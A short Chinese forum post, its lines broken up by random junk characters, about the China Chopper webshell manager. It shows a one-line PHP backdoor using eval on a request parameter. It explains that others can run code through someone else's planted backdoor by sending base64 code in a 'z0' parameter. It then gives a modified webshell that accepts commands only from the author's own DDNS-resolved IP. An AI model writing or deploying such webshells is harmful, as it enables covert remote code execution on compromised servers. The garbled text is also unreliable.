今天试了下“中国菜刀”这款C/S的WEB管理软件,发现一个致命的漏洞
+ e, _9 o" \$ l
- R s1 v) f3 O就算你设置了密码,使用了eval($_REQUEST['moyo']);$ q0 j# u( T5 U# a- W6 ?* _( J! N
8 C4 x$ X0 r& l- b6 V, J
但是别人还是可以在不知道连接密码是moyo的情况下直接使用你的一句话后门
+ O; P5 d0 e- F4 i6 g0 g9 V* t" q
5 v/ f ^9 ~, A1 a* Q1 ]# \因为$_REQUEST['moyo']传递的内容是@eval(base64_decode($_POST[z0]));) V. R% u* t! u5 v/ y z( y4 f! f
8 x0 i1 d) N; h) `# F5 W% ]: ?直接访问 /backdoor.php?z0={BASE64加密后的代码} 就可以执行代码了$ s- {4 S( f$ m# ?. o/ e
9 [; k' E4 W3 _. j1 \不知道是设计缺陷还是故意留的后门
1 D8 Q# Q: `0 x& R' G2 G/ ?) W, P% @# B
如果有人使用一句话之类的密码,有个小技巧可以避免自己的一句话被人盗用* u# {2 } x+ g- z# }) L& V
( g8 c0 a7 [5 N8 _5 e+ Z3 c本地使用花生壳之类的DDNS软件,比如分配域名是moyo.apiz.org2 q+ f3 k% z' K3 W$ }# s
% R$ w/ [2 m6 r* P
然后一句话后门这样写
# E1 {3 _/ O3 G+ \ X0 o# |
! m4 S _5 ]- X; K9 w<?php $_SERVER['REMOTE_ADDR'] == gethostbyname('moyo.apiz.org') ? @eval($_REQUEST['moyo']) : exit('DENIED') ?>+ M3 ~( f5 ~4 w" O% L
这样就可以让一句话后门只允许自己的电脑连接了/ @$ r. `% s* i5 q! c
8 L/ d) ? Q7 T+ q9 I# ~ `2 x0 f
|